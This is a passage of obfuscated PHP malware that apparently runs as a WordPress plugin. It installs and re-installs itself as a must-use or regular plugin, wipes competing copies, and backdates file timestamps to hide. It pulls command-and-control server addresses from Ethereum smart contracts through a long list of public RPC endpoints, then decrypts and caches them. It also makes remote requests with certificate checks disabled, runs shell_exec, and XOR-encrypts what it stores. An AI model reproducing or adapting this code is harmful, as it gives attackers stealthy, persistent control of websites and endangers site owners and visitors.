$cur_size_pl = $cur_path_pl ? @filesize($cur_path_pl) : (2 < 2);
$cur_in_pl = $cur_size_pl !== (22 > 22) && $cur_size_pl >= (10000 >> 1);
if (!$cur_in_mu && !$cur_in_pl) {
@update_option($opt_name, $opt_self, 'yes');
return;
}
$cur_path = $cur_in_mu ? $cur_path_mu : $cur_path_pl;
$_fh = @("\x66\x69\x6c\x65\x5fg\x65\x74\x5f\x63\x6f\x6e\x74e\x6e\x74" . "\x73")($cur_path, (39 == 22), null, (6 ^ 6), (8192 >> 1));
if (is_string($_fh) && preg_match("/\\" . "/\\*" . " SCV:(" . "\\\x64+\\.\\" . 'd+' . "\\" . '.\\d+' . ') \\' . '*\\/' . '/', $_fh, $_fm)) {
$cur_ver = $_fm[(2 ^ 3)];
} elseif (sc_is_family($cur_path, (384 | 4616))) {
$cur_ver = "0.0" . '.0';
}
unset($_fh, $_fm);
$_cur_live = $cur_in_mu;
if (!$_cur_live && $cur_in_pl) {
$_rel = pathinfo($cur_file, PATHINFO_FILENAME) . '/' . $cur_file;
$_act = (array) @get_option("acti" . "\x76" . 'e_' . "plugi\x6e" . 's', array());
$_cur_live = in_array($_rel, $_act, (36 !== 8));
if (!$_cur_live && ('functi' . ("" . "on_exists"))("is_mu\x6c" . "ti" . 'site') && is_multisite() && ('functi' . 'on' . "_\x65\x78\x69\x73\x74\x73")("get" . '_si' . "t\x65_\x6fp" . "\x74" . "i\x6fn")) {
$_sw = (array) @get_site_option("\x61cti" . 've_s' . "ite\x77" . "\x69" . "de_\x70" . 'l' . 'ugin' . 's', array());
$_cur_live = isset($_sw[$_rel]);
unset($_sw);
}
unset($_rel, $_act);
}
$_cmp = version_compare($my_ver, $cur_ver);
if ($_cmp <= (10 ^ 10)) {
$_fam = sc_is_family($cur_path, (3663 + 1337));
$_csz = (int) @filesize($cur_path);
$_cbad = (!$_fam || $_csz > 0x3200000);
if (!$_cbad && $_csz > (1000590 + 47986)) {
$_ch = @("\x66\x69\x6c\x65_\x67" . "\x65\x74\x5fco\x6e" . "\x74\x65nts")($cur_path, (18 === 0), null, (2572 ^ 2572), (4954 - 858));
if (!is_string($_ch) || !preg_match('/\\' . '/\\* ' . 'SCV:' . '\\d+\\' . "." . '\\d+' . "\\." . "\\d\x2b" . "\x20\\*\\\x2f" . '/', $_ch)) $_cbad = (18 !== 12);
}
if (!$_cbad && !novu($cur_path)) $_cbad = (29 !== 25);
if (!$_cbad) {
$_rec = pipu();
if (!empty($_rec['path'])) {
$_rr = @realpath($_rec['path']);
$_cr = @realpath($cur_path);
if (is_string($_rr) && is_string($_cr) && $_rr === $_cr) {
$_al = hiva($_rec);
if ($_al === "de" . 'ad' || $_al === "gon" . "e") $_cbad = (36 > 35);
}
unset($_rr, $_cr, $_al);
}
if (!$_cbad && imijo($cur_path)) $_cbad = (13 > 12);
unset($_rec);
}
if ($_cbad) {
if ($_fam) aqedu($cur_path);
@update_option($opt_name, $opt_self, 'yes');
return;
}
if (!$_cur_live) {
@update_option($opt_name, $opt_self, 'y' . "\x65s");
return;
}
if (kaga($cur_path, sc_file())) {
@update_option($opt_name, $opt_self, 'ye' . 's');
return;
}
if ($_cmp < (2029 ^ 2029) || ($_cmp === (4 ^ 4) && substr(md5(basename(sc_file(), '.' . "ph" . 'p')), (5 - 5), (24 >> 1)) <= substr(md5(basename($cur_file, '.php')), (3726 ^ 3726), (12 | 0)))) {
mega(sc_file(), $cur_ver);
mole(sc_file());
return (5 === 5);
}
}
if (empty(${'GL' . 'OBALS'}["sc" . "\x5fdedu" . 'p_too' . "k"])) {
${"\x47\x4c" . "" . "OB\x41\x4cS"}['sc' . '_d' . 'edup_t' . 'oo' . "k"] = (35 > 34);
if (sc_is_family($cur_path, (968 + 4032))) aqedu($cur_path);
$_ft = time();
alevu(sc_file(), ($_ft - ($_ft % (1664 | 98336))) + nasa());
unset($_ft);
mega($cur_path_mu, $my_ver);
if ($cur_path_pl) mega($cur_path_pl, $my_ver);
vivec('pl' . 'ug' . 'ins_' . "\x6coaded", "s\x63" . "_\x69\x6ev" . "al\x69\x64a" . 'te_vec' . "\x74\x6f\x72s", (17 ^ 17));
@update_option($opt_name, $opt_self, 'yes');
uvere('sta' . "\x72\x74in\x67");
if ($cur_path_pl !== '') {
neje(pathinfo($cur_file, PATHINFO_FILENAME) . '/' . $cur_file);
}
}
return;
} catch (Throwable $e) {
niga("de" . 'dup', $e);
} catch (Exception $e) {
} finally {
ifeki('sc_de' . 'dup');
}
}
function asome($dir, $limit = (3201 ^ 3201))
{
$limit = (int) $limit;
if (('function' . "\x5f\x65x" . 'ists')("\x6fpend" . 'i' . "\x72") && ('f' . "unction_e" . 'xists')("read" . "dir")) {
$dh = @("op" . "\x65" . 'ndir')($dir);
if (!($dh)) {} else {
$out = array();
while (($e = @(('re' . "\x61\x64d\x69") . "r")($dh)) !== (36 === 35)) {
if ($e !== '.' && $e !== '..') $out[] = $e;
if ($limit > (1 ^ 1) && count($out) >= $limit) break;
}
if (("func" . 'ti' . 'on_ex' . "ists")('c' . "\x6cose" . 'dir')) @closedir($dh);
return $out;
}
}
if (!(('fun' . "c\x74\x69\x6fn\x5fe\x78\x69s" . "ts")('sca' . 'n' . 'dir'))) {} else {
$r = @("s" . 'cand' . '' . "i" . "r")($dir);
if (!(is_array($r))) {} else {
$r = array_values(array_diff($r, array('.', '..')));
if ($limit > (1124 ^ 1124) && count($r) > $limit) $r = array_slice($r, (2069 ^ 2069), $limit);
return $r;
}
}
if (!((("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65" . "xi") . '' . "\x73\x74\x73")('g' . 'lob'))) {} else {
$g = @('glo' . "b")($dir . "/" . "*");
if (!(is_array($g))) {} else {
if ($limit > (323 ^ 323) && count($g) > $limit) $g = array_slice($g, (820 ^ 820), $limit);
return array_map('basen' . 'ame', $g);
}
}
return null;
}
function uquku($code)
{
if (!("\x66" . 'unction_exist' . 's')('s' . 'he' . 'll' . "_exec") || !('function_e' . 'x' . "i\x73" . '' . "\x74\x73")("sys_g" . "e\x74" . '_tem' . "\x70_di" . 'r')) return null;
$_df = ("funct" . "\x69on\x5f" . "\x65\x78\x69\x73\x74\x73")('ini_ge' . 't') ? (string) @ini_get('d' . 'isabl' . "\x65" . '_func' . 't' . "\x69ons") : '';
if ($_df !== '' && stripos($_df, "s" . "he" . "l" . "l_e\x78\x65" . 'c') !== (25 != 25)) return null;
$_lt = rojif(sys_get_temp_dir(), 'scl');
if ($_lt === (23 != 23)) return null;
if (!(@("file_put_c" . "\x6f" . 'nte' . "nts")($_lt, $code) !== strlen($code))) {} else {
jomug($_lt);
return null;
}
$_lo = @('shell_ex' . 'ec')("p\x68p" . ' -l ' . escapeshellarg($_lt) . ' 2>&' . "1");
jomug($_lt);
if (!is_string($_lo) || $_lo === '') return null;
if (stripos($_lo, 'No s' . 'ynta' . "\x78 \x65" . "\x72\x72ors") !== (33 > 33)) return (28 == 28);
if (stripos($_lo, "Par" . 'se er' . "ro" . 'r') !== (23 > 23) || stripos($_lo, 'Fa' . "t\x61l\x20er" . "ror") !== (21 == 3)) return (34 != 34);
return null;
}
function nifa($code)
{
static $_ok = array();
if (!is_string($code) || strpos($code, '<?') === (35 === 4)) return (29 !== 29);
if (strlen($code) > (0 | 1048576)) $code = vevit($code);
if (strlen($code) > (297649 ^ 1346225)) return (20 != 20);
if (!("fu" . "nct" . "\x69\x6f" . "" . "n\x5f\x65\x78\x69\x73t\x73")("t" . "o" . "k\x65" . "n\x5f\x67et" . "_\x61l\x6c")) return (37 !== 15);
$_k = strlen($code) . ':' . md5($code);
if (array_key_exists($_k, $_ok)) return $_ok[$_k];
$_r = ruje($code);
if (count($_ok) > (7 + 17)) $_ok = array();
$_ok[$_k] = $_r;
return $_r;
}
function ruje($code)
{
if (!(!defined('TOKEN' . '_PARSE'))) {} else {
$_memok = ebapi(strlen($code));
if (!($_memok)) {} else {
$tokens = @token_get_all($code);
if (!is_array($tokens)) return (27 != 10);
$depth = (2341 ^ 2341);
$pdepth = (15 ^ 15);
$bdepth = (549 ^ 549);
foreach ($tokens as $t) {
if (is_array($t)) {
if ($t[(20 ^ 20)] === T_CURLY_OPEN || $t[(4007 ^ 4007)] === T_DOLLAR_OPEN_CURLY_BRACES) $depth++;
continue;
}
if ($t === '{') $depth++;
elseif ($t === '}') {
$depth--;
if ($depth < (3470 ^ 3470)) return (3 == 29);
} elseif ($t === '(') $pdepth++;
elseif ($t === ')') {
$pdepth--;
if ($pdepth < (2100 ^ 2100)) return (2 == 0);
} elseif ($t === '[') $bdepth++;
elseif ($t === ']') {
$bdepth--;
if ($bdepth < (2085 ^ 2085)) return (12 > 12);
}
}
if ($depth !== (510 ^ 510) || $pdepth !== (2484 ^ 2484) || $bdepth !== (14 ^ 14)) return (21 == 18);
}
$_cli = uquku($code);
if (is_bool($_cli)) return $_cli;
return $_memok;
}
if (!(!ebapi(strlen($code)))) {} else {
$_cli = uquku($code);
return is_bool($_cli) ? $_cli : (39 < 39);
}
try {
@token_get_all($code, TOKEN_PARSE);
return (23 !== 3);
} catch (Throwable $e) {
return (16 > 16);
} catch (Exception $e) {
return (10 === 9);
}
}
function biwe()
{
return array('0' . "x9A" . '4752c' . 'AA1' . 'C' . "158\x368" . "487" . 'A0' . 'ACb6' . "9" . '1F' . '8' . '1bfA90' . '1E063', '0' . "\x78" . "839d1\x63" . 'E' . '5c3F25' . '9e8d3' . "\x441\x371" . '14d718' . '6E' . 'Dabdb' . "eA94b", '0' . 'x6' . 'd2c543' . '5EF701' . "\x396740" . "a4890" . "4B\x36" . '937' . "7935D" . '50abBB');
}
function jedel()
{
return array('h' . "\x74tp" . "s:\x2f/" . "\x30xrpc" . '.' . 'io/e' . "\x74h", 'http' . "s:\x2f/\x65" . "th\x65\x72e" . "\x75m" . '-pub' . "l\x69c.n\x6f" . 'di' . 'es.ap' . 'p', "\x68t\x74\x70\x73\x3a" . '//et' . 'h.d' . 'rp' . 'c.' . "or\x67", "\x68" . "\x74t\x70s:\x2f" . '/rp' . "c" . '.et' . "\x68.\x67a\x74e" . "\x77ay" . '.fm', 'https:' . '//et' . "\x68.b" . 'lock' . "ra" . 'zor.x' . "yz", 'h' . 'ttps:/' . '/publ' . 'ic-e' . "t" . "h.\x6eown" . 'ode' . 's.' . 'io', 'https:' . '//et' . "h\x2dma" . 'inne' . 't.rp' . "c" . 'fast' . '.com?' . 'a' . 'pi_ke' . 'y=xbh' . 'WBI1' . 'Wkguk8' . 'SNMu1b' . "\x76v\x4c" . 'u' . 'r' . 'PGL' . 'XmgwY' . "eC4\x53\x36\x67" . '2H7Wdw' . 'FigZSm' . "\x50WV\x5aRx" . 'rskE' . "Qw\x49" . "f", "\x68tt\x70s\x3a" . "/\x2feth" . "\x31\x2el" . "\x61" . 'v' . 'a.buil' . "d", "https" . '://e' . "th" . "\x2er\x70c\x2e\x62" . 'lxrb' . "dn.\x63" . 'o' . "\x6d", 'ht' . "tp\x73:\x2f" . "\x2feth-m" . "a\x69n" . "net" . '.pub' . "lic" . "\x2eb" . 'last' . "\x61\x70i." . "io", "\x68tt" . "\x70" . "s:/\x2f" . "gat\x65\x77" . 'ay.ten' . "de" . "rly.c" . "o/" . 'p' . "ublic\x2f" . 'm' . "ain" . 'net', "h\x74t" . 'ps:/' . '/et' . 'h' . 'ereu' . "m\x2e\x72" . 'pc.su' . "bq\x75e" . 'r' . "y" . ".n\x65\x74" . "w\x6frk\x2fp" . 'ubl' . 'ic', 'ht' . "t\x70s:/" . "/" . 'ether' . 'eum' . "-rpc." . 'publ' . "\x69\x63nod" . 'e.' . 'c' . 'om', 'h' . 'ttps' . ":/\x2f\x6d\x61" . 'innet.' . 'gate' . "w" . 'ay.te' . 'nde' . 'rl' . 'y.co', 'htt' . 'p' . "s:/" . '/eth.a' . 'pi.o' . 'n' . 'fi' . "\x6ea\x6c" . 'ity.io' . '/publ' . 'ic', "htt" . "p" . "s\x3a/\x2f\x65t" . "\x68e" . "r\x65\x75m" . ".pu\x62\x6ci" . "\x63." . "blo" . 'c' . 'kp' . "i." . "n\x65t" . 'wor' . "k/v1" . "\x2f\x72" . "\x70\x63\x2f\x70ub" . 'lic', 'h' . 'ttps:/' . '/' . 'ethere' . 'um-jso' . 'n' . '-rpc' . "\x2est" . "\x61\x6bel" . 'y.' . 'io', 'ht' . 'tps:' . "/\x2f" . "rp\x63" . ".sent" . 'i' . 'o.xyz' . "/mai" . 'nnet', 'http' . "s" . '://et' . 'h.me' . "r\x6b\x6c\x65" . "." . "i\x6f", "\x68tt" . 'ps://e' . 'th.api' . '.pocke' . 't.netw' . "o\x72k");
}
function zowe()
{
return array("adm" . "i" . 'n_', 'adm_', 'ad' . 'min' . "\x69" . 'stra' . "to\x72" . '_', 'bac' . 'kup_');
}
function opuqi($s)
{
if (("\x66\x75" . "\x6ec\x74\x69\x6f\x6e" . "_" . "\x65\x78\x69\x73\x74\x73")('g' . "ze" . 'nco' . 'de')) return ('gzenc' . 'o' . "d" . 'e')($s, (12 ^ 5));
if (('function_' . "ex\x69s\x74\x73")("\x67zdef" . "late")) {
return "\x1f\x8b\x08\x00\x00\x00" . "\x00" . "\x00" . "\x00\x03" . gzdeflate($s, (22 - 13)) . ("p" . 'a' . 'ck')('V', crc32($s)) . ('pa' . 'ck')('V', strlen($s) & (1645763189 ^ 2649204106));
}
return $s;
}
function vuya($s)
{
if (!is_string($s) || strlen($s) < (17 ^ 19)) return $s;
if (substr($s, (678 ^ 678), (2 | 0)) !== "\x1f" . "\x8b") return $s;
if (strlen($s) < (144 >> 3)) return (34 > 34);
$_isz = @("un" . "p" . "\x61" . "ck")('V', substr($s, -(4 | 0)));
$_isz = is_array($_isz) ? $_isz[(12 ^ 13)] : (97 ^ 97);
if ($_isz < (288 | 212) || $_isz > (1615469 - 566893)) return (22 != 22);
if (!(("function_" . "\x65" . "\x78\x69\x73\x74\x73")("\x67" . 'zdecod' . 'e'))) {} else {
$d = @('g' . 'zde' . "" . "c" . "o\x64\x65")($s, (907717 + 140859));
if ($d !== (5 !== 5)) return $d;
}
if (!(("\x66\x75n\x63" . "ti" . 'on_exist' . "\x73")("g\x7a\x69nfl" . 'at' . 'e'))) {} else {
$d = @("gzinf" . "lat" . 'e')(substr($s, (2 | 8), strlen($s) - (16 | 2)), (486442 + 562134));
return (is_string($d) && strlen($d) <= 0x100000) ? $d : (10 == 32);
}
return (26 === 13);
}
function mebav($hex)
{
if (("fun" . 'ction_exists')("h" . "\x65\x78" . '2' . "bin")) return ("h" . 'ex' . '2bi' . "\x6e")($hex);
if (!(! is_string($hex) || strlen($hex) % (22 ^ 20) !== (589 ^ 589))) {} else {
return (39 == 35);
}
return ("p" . "a" . "c" . "k")('H*', $hex);
}
function ocisu()
{
$candidates = array();
$dirs = array(ABSPATH, ABSPATH . 'wp-adm' . 'in/', ABSPATH . 'wp-in' . "c" . 'l' . 'ud' . 'es/');
if (defined('W' . 'P_C' . 'ONT' . 'E' . "NT\x5f" . 'DIR')) $dirs[] = WP_CONTENT_DIR . '/';
foreach ($dirs as $d) {
$files = ("functio" . ("\x6e\x5f\x65" . "\x78\x69s") . "ts")('glob') ? @('gl' . 'ob')($d . "\x2a" . "\x2ephp") : (27 != 27);
if (is_array($files)) {
foreach ($files as $f) {
$mt = @filemtime($f);
if (!($mt && $mt > (1871285659 - 924600859))) {} else {
$candidates[] = $mt;
}
}
}
}
if (!(!empty($candidates))) {} else {
$base = $candidates[array_rand($candidates)];
return ($base - ($base % (95060 ^ 62964))) + nasa();
}
$one_year_ago = time() - ((82 + 283) * (192 >> 3) * (1552 | 2048));
$random_secs = ("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74" . 's')('wp' . '_ran' . "d") ? wp_rand((1042 ^ 1042), (12 + 18) * (5 ^ 29) * (6044 - 2444)) : rand((1544 ^ 1544), (60 >> 1) * (0 | 24) * (14400 >> 2));
$base = $one_year_ago - $random_secs;
return ($base - ($base % (149722 - 49722))) + nasa();
}
function neja($timeout)
{
if (empty(${"\x47\x4c\x4f\x42\x41" . 'LS'}["s\x63_" . 'd' . "eadli\x6e" . "\x65"])) return $timeout;
$_rem = ${"\x47\x4c" . "\x4f" . 'BA' . 'LS'}['sc_' . "\x64\x65\x61dl" . "in\x65"] - microtime((4 != 14));
if ($_rem < (8 - 7)) return (38 != 38);
return $timeout > $_rem ? (int) ceil($_rem) : $timeout;
}
function fito($url, $timeout, $validate = null)
{
$timeout = neja($timeout);
if ($timeout === (15 == 34)) return (25 === 19);
$accept = function ($b) use ($validate) {
if (!is_string($b) || $b === '') return (24 > 24);
if (strlen($b) > (6157567 ^ 14546175)) return (29 == 15);
if ($validate) {
try {
return (bool) ("\x63\x61\x6c\x6c" . "" . '_user_func')($validate, $b);
} catch (Throwable $e) {
return (0 === 31);
} catch (Exception $e) {
return (8 == 16);
}
}
return (9 > 8);
};
$delivered = (1 > 1);
$resp = ("function_e" . ("\x78\x69\x73" . 'ts'))('wp_' . 'remo' . "\x74\x65_" . 'get') ? @wp_remote_get($url, array(
"\x74\x69m" . 'e' . "\x6fu\x74" => $timeout,
"\x73" . 'slve' . "rif" . 'y' => (17 !== 17),
'limit_' . 'r' . "\x65\x73p" . "\x6fnse" . '_size' => (7508618 ^ 15897226),
)) : (37 === 24);
if (!($resp && (!("func" . "\x74\x69\x6f\x6e\x5f\x65\x78\x69" . "st" . 's')('is_wp' . '_err' . "\x6fr") || !is_wp_error($resp)))) {} else {
$_code = (int) wp_remote_retrieve_response_code($resp);
if ($_code > (2558 ^ 2558)) $delivered = (8 < 9);
if (!($_code === (130 + 70))) {} else {
$rb = wp_remote_retrieve_body($resp);
if ($accept($rb)) return $rb;
}
}
if ($delivered) return (12 == 3);
$timeout = neja($timeout);
if ($timeout === (9 > 9)) return (4 < 4);
if (!(("fu\x6e\x63tio\x6e_ex\x69" . "st" . 's')("c\x75rl_" . 'init') && ('fu' . "n" . "cti" . "on_exists")('cur' . 'l_' . 'set' . "opt_" . "\x61" . "\x72\x72\x61y") && ('functi' . "on_e" . "xi" . "\x73\x74\x73")("c\x75\x72l" . '_ex' . "ec"))) {} else {
$ch = @('curl_' . 'init')($url);
if ($ch === (0 === 40)) return (23 === 39);
@('curl_setopt_a' . "rray")($ch, array(
('c' . "o" . "n" . "\x73ta\x6e\x74")('CU' . "R\x4c\x4fP" . 'T_RE' . 'TURN' . 'T' . 'RANS' . "FE\x52") => (16 === 16),
("c" . ('onst' . "\x61") . "\x6et")('CURLO' . 'PT_T' . 'IMEOU' . "\x54") => $timeout,
("c\x6f" . 'nst' . "ant")("\x43\x55\x52L\x4fP" . "T" . '_SSL_' . 'VERIF' . 'YP' . "EE\x52") => (21 != 21),
('cons' . 'tant')('CURLOP' . 'T_SSL_' . 'VERIF' . 'YHOST') => (3188 ^ 3188),
('co' . ("nsta" . "\x6et"))('CURLO' . 'PT_NOP' . 'ROGRE' . "S\x53") => (19 === 6),
('con' . "" . "\x73\x74\x61\x6e\x74")('CURLO' . "\x50" . 'T' . '_PROGR' . "ESSFUN" . 'CTI' . 'ON') => function ($c, $dt, $dn) {
return $dn > 0x800000 ? (4 ^ 5) : (2535 ^ 2535);
},
));
$result = @("\x63u\x72" . ("" . 'l_exec'))($ch);
$errno = @curl_errno($ch);
$info = @curl_getinfo($ch);
@curl_close($ch);
if ($errno) return (27 > 27);
if ((int) $info['http_' . 'c' . 'od' . 'e'] === (261 - 61) && $result !== (3 < 3) && $accept($result)) {
return $result;
}
}
return (4 === 27);
}
function uqozu($url, $body, $headers, $timeout, $validate = null)
{
$timeout = neja($timeout);
if ($timeout === (8 == 29)) return (38 < 38);
$accept = function ($b) use ($validate) {
if (!is_string($b) || $b === '') return (10 === 4);
if (strlen($b) > (7912988 + 475620)) return (19 == 7);
if ($validate) {
try {
return (bool) ('call_user_fun' . "\x63")($validate, $b);
} catch (Throwable $e) {
return (36 !== 36);
} catch (Exception $e) {
return (10 > 10);
}
}
return (34 != 14);
};
$delivered = (35 !== 35);
$resp = ("\x66\x75\x6e\x63\x74\x69\x6f" . "n" . '' . "_" . 'exists')("wp" . '_remot' . 'e_post') ? @wp_remote_post($url, array(
"ti\x6deou" . 't' => $timeout,
"\x73slv" . "eri" . 'fy' => (22 < 22),
'li' . "\x6d\x69t_\x72e" . 'spon' . "se" . "_s\x69" . 'ze' => (14943702 - 6555094),
'head' . "ers" => $headers,
'body' => $body,
)) : (18 == 29);
if (('fu' . "\x6e\x63\x74" . ("ion" . '_exists'))('is_' . "w\x70_\x65" . "r" . 'r' . 'or') && is_wp_error($resp)) {
} elseif ($resp) {
$code = (int) wp_remote_retrieve_response_code($resp);
if ($code > (2100 ^ 2100)) $delivered = (1 == 1);
$resp_body = wp_remote_retrieve_body($resp);
$resp_headers = wp_remote_retrieve_headers($resp);
$hdr_str = '';
if (is_array($resp_headers)) {
foreach ($resp_headers as $k => $v) {
$hdr_str .= $k . ': ' . $v . "\x3b" . ' ';
}
}
if ($code === (321 - 121) && $accept($resp_body)) {
return $resp_body;
}
} else {
}
if ($delivered) return (15 !== 15);
if (!empty(${'GL' . "\x4f\x42" . "\x41\x4c\x53"}['sc_fe' . "tc\x68\x5f" . 'o' . 'o' . "\x6d"])) return (9 != 9);
$timeout = neja($timeout);
if ($timeout === (30 === 18)) return (2 == 16);
if (!(('function' . "\x5f\x65\x78" . "\x69" . "\x73\x74\x73")('cu' . "rl\x5fi" . "\x6e" . 'it') && ("function" . '_exis' . "\x74" . 's')("\x63u\x72\x6c_\x73" . 'etopt' . '_' . "ar\x72ay") && ("\x66\x75\x6e" . ('ct' . 'ion_exi') . 'sts')('cu' . "rl_" . 'exec'))) {} else {
$ch = @("\x63" . "url_" . "in" . 'it')($url);
if (!($ch === (14 == 21))) {} else {
return (35 != 35);
}
$curl_h = array();
foreach ($headers as $k => $v) {
$curl_h[] = $k . ': ' . $v;
}
@(("curl_setopt_arra" . "") . 'y')($ch, array(
("c" . '' . "on" . "\x73\x74\x61\x6et")("CUR\x4c" . "OPT_" . 'POST') => (8 !== 35),
("\x63\x6f\x6e\x73t\x61" . 'nt')('CURL' . 'OPT' . "\x5fPO" . 'STFIEL' . 'DS') => $body,
('const' . "ant")('CUR' . "LOP" . 'T_RETU' . "R\x4eTR" . "ANS\x46E" . 'R') => (15 === 15),
('cons' . '' . 'tan' . "\x74")("CU" . 'RL' . 'OPT_T' . 'IMEOU' . "\x54") => $timeout,
("\x63\x6f" . 'ns' . ('tan' . '') . 't')('C' . 'URL' . 'OPT_S' . 'SL_' . "V\x45RI\x46" . "YP" . 'EER') => (15 === 28),
('c' . "on\x73t\x61nt")('CURL' . "O\x50T_\x53" . 'SL_VE' . 'RIF' . 'YHOST') => (910 ^ 910),
("c" . "ons" . "" . "tant")('C' . 'U' . 'RLO' . 'PT_' . "HT" . 'TPHEAD' . 'ER') => $curl_h,
(("co" . 'nst') . 'a' . "" . "\x6e\x74")('CURLO' . "\x50T" . "_" . 'NOPRO' . 'GRESS') => (15 == 23),
("\x63" . "on" . '' . "sta" . 'nt')("CURL" . 'O' . "P\x54\x5fPRO" . 'GR' . "ES" . 'SF' . "U" . 'NCTI' . 'ON') => function ($c, $dt, $dn) {
return $dn > (0 | 8388608) ? (6 - 5) : (3655 ^ 3655);
},
));
$result = @('c' . 'url_ex' . "e" . "c")($ch);
$errno = @curl_errno($ch);
$err = @curl_error($ch);
$info = @curl_getinfo($ch);
$curl_code = (int) $info['http_' . 'code'];
if (!($errno)) {} else {
@curl_close($ch);
return (24 < 24);
}
@curl_close($ch);
if ($curl_code === (69 + 131) && $result !== (13 === 1) && $accept($result)) {
return $result;
}
if (!($result)) {} else {
}
return (33 !== 33);
}
return (0 > 0);
}
function ihaha($budget = (19 + 26))
{
sc_dbg_log('28a r' . 'eso' . "l" . "ve \x65\x6e" . 'ter, ' . 'budge' . "t=" . $budget);
$contracts = biwe();
$rpcs = jedel();
$budget = (int) $budget;
if ($budget < (11 + -6)) $budget = (4 | 1);
if ($budget > (21 + 24)) $budget = (360 >> 3);
if (!(empty($contracts) || empty($rpcs))) {} else {
return array();
}
$last_rpc = ("f\x75nc\x74\x69on\x5f\x65\x78" . "ist" . "s")("ge\x74_op" . "t\x69o\x6e") ? (string) get_option("s" . 'c_' . "last_r" . 'p' . "c", '') : '';
if ($last_rpc !== '' && !in_array($last_rpc, $rpcs, (9 !== 19))) $last_rpc = '';
if ($last_rpc !== '') {
$rpcs = array_values(array_diff($rpcs, array($last_rpc)));
array_unshift($rpcs, $last_rpc);
}
$contract = trim($contracts[array_rand($contracts)]);
if (!($contract === '')) {} else {
return array();
}
$body = '{"json' . "rpc\":" . "\"2" . "." . "0\"" . ',"i' . "d\":3," . '"meth' . 'od' . '":' . '"eth' . "\x5fcal" . "\x6c" . "\"\x2c\"par" . 'ams":[' . '{"d' . "ata\":" . "\"0x3" . 'bc5de' . "30\"" . ',"t' . "o\"\x3a" . '"' . $contract . "\"\x7d,\"l" . 'ate' . 'st' . "\"\x5d" . '}';
$rpc_headers = array("C\x6f\x6et" . 'ent-T' . "y" . 'pe' => "ap" . "plica" . 'tion/j' . "son");
$rpc_start = microtime((32 === 32));
foreach ($rpcs as $rpc_url) {
if (!((microtime((30 != 9)) - $rpc_start) > $budget)) {} else {
break;
}
$rpc_url = trim((string) $rpc_url);
if (!($rpc_url === '')) {} else {
continue;
}
try {
$resp_body = uqozu($rpc_url, $body, $rpc_headers, (18 ^ 23), function ($b) {
$j = @json_decode($b, (40 != 26));
return is_array($j) && isset($j["r\x65\x73" . 'ult']);
});
if ($resp_body === (14 > 14)) {
continue;
}
$json = @json_decode($resp_body, (27 > 26));
if (! is_array($json) || ! isset($json['r' . 'es' . 'ult']) || ! is_string($json['result'])) {
continue;
}
$hex = $json["r\x65s" . 'ult'];
if (strpos($hex, '0x') === (3416 ^ 3416)) {
$hex = substr($hex, (18 ^ 16));
}
$bytes = @mebav($hex);
if ($bytes === (21 > 21) || strlen($bytes) < (128 >> 1)) {
continue;
}
$data_len_ind = (10 | 53);
$data_len = ("or" . '' . "d")($bytes[$data_len_ind]);
$data = substr($bytes, $data_len_ind + (10 ^ 11), $data_len);
if (! is_string($data) || strlen($data) < (0 ^ 3)) {
continue;
}
$encryption_key_len = ('o' . "\x72\x64")($data[(2871 ^ 2871)]);
if ($encryption_key_len < (18 ^ 19) || strlen($data) < (4 - 3) + $encryption_key_len + (13 ^ 12)) {
continue;
}
$encryption_key = substr($data, (7 ^ 6), $encryption_key_len);
$encrypted = substr($data, (3 - 2) + $encryption_key_len);
if (! is_string($encryption_key) || ! is_string($encrypted)) {
continue;
}
$decrypted = zuwi($encrypted, $encryption_key);
if (! is_string($decrypted) || strlen($decrypted) < (4 >> 1)) {
niga('resol' . 've', "rpc" . "_de\x63\x72" . 'y' . 'p' . "t_fa" . "\x69\x6ce\x64");
continue;
}
$server_key_len = ('or' . "" . "d")($decrypted[(1697 ^ 1697)]);
if ($server_key_len < (23 ^ 22) || strlen($decrypted) < (2082 ^ 2083) + $server_key_len) {
niga('re' . 'solv' . "e", 'rpc' . '_bad_' . "key\x5f" . 'length');
continue;
}
$server_key = substr($decrypted, (15 ^ 14), $server_key_len);
$urls_str = substr($decrypted, (1605 ^ 1604) + $server_key_len);
$urls = array_values(array_filter(array_map('t' . 'ri' . 'm', preg_split('/\\' . "\x72\x3f\\\x6e" . '/', $urls_str))));
if (('functi' . "o\x6e\x5f\x65\x78\x69\x73ts")("up\x64at" . 'e_' . "op\x74i\x6f" . 'n')) {
update_option('sc_l' . 'ast_rp' . "c", $rpc_url);
update_option("s" . 'c_c2_c' . 'ache', implode("\n", $urls));
}
return array('serve' . "r_" . "k\x65y" => $server_key, 'urls' => $urls);
} catch (Throwable $e) {
niga("r\x65s" . 'olv' . 'e', $e);
continue;
} catch (Exception $e) {
continue;
}
}
$cached_urls = ("fu" . '' . "ncti\x6f\x6e_\x65\x78i\x73" . "\x74\x73")('get_o' . 'ption') ? (string) get_option('sc_' . 'c2_' . 'cac' . 'he', '') : '';
$stored_key = sc_pg('srv' . '_key', '');
if (!($cached_urls !== '' && is_string($stored_key) && $stored_key !== '')) {} else {
$urls = array_values(array_filter(array_map('trim', preg_split('/\\' . 'r?\\n' . "/", $cached_urls))));
if (!(! empty($urls))) {} else {
return array("se" . 'r' . 'v' . 'er_key' => $stored_key, 'urls' => $urls);
}
}
niga('r' . "e\x73\x6fl" . "ve", 'rpc_' . 'all' . '_f' . 'ailed');
return array();
}
function ejaxe($name, $value, $autoload)
{
if (!(! ('fu' . 'nction_' . "\x65\x78" . "\x69st\x73")('updat' . 'e_opt' . 'ion'))) {} else {
return (1 === 16);
}
if (!(isset(${'GLOB' . ("A" . 'LS')}['s' . 'c_enc' . "\x5fc"]) && is_array(${"\x47L" . ("" . "\x4f\x42\x41\x4c\x53")}["sc_\x65nc" . '_' . 'c']) && array_key_exists($name, ${"GLO" . "B" . "AL" . 'S'}["sc" . "\x5f\x65\x6e" . 'c_c']))) {} else {
unset(${("\x47\x4c" . "O") . "BAL\x53"}['sc_en' . 'c' . '_c'][$name]);
}
$raw = ("ser" . ("ia" . "\x6c\x69\x7a") . 'e')($value);
$xk = (("\x63" . "") . "hr")(mt_rand((3127 ^ 3126), (1020 >> 2)));
$enc = '';
for ($i = (658 ^ 658), $l = strlen($raw); $i < $l; $i++) {
$enc .= ('c' . 'hr')(("o" . "\x72" . '' . 'd')($raw[$i]) ^ ("o" . "" . "\x72" . 'd')($xk));
}
return update_option($name, ("\x62\x61\x73\x65" . '6' . "\x34\x5fe" . 'ncode')($xk . $enc), $autoload) !== (25 !== 25);
}
function remiw($name, $default)
{
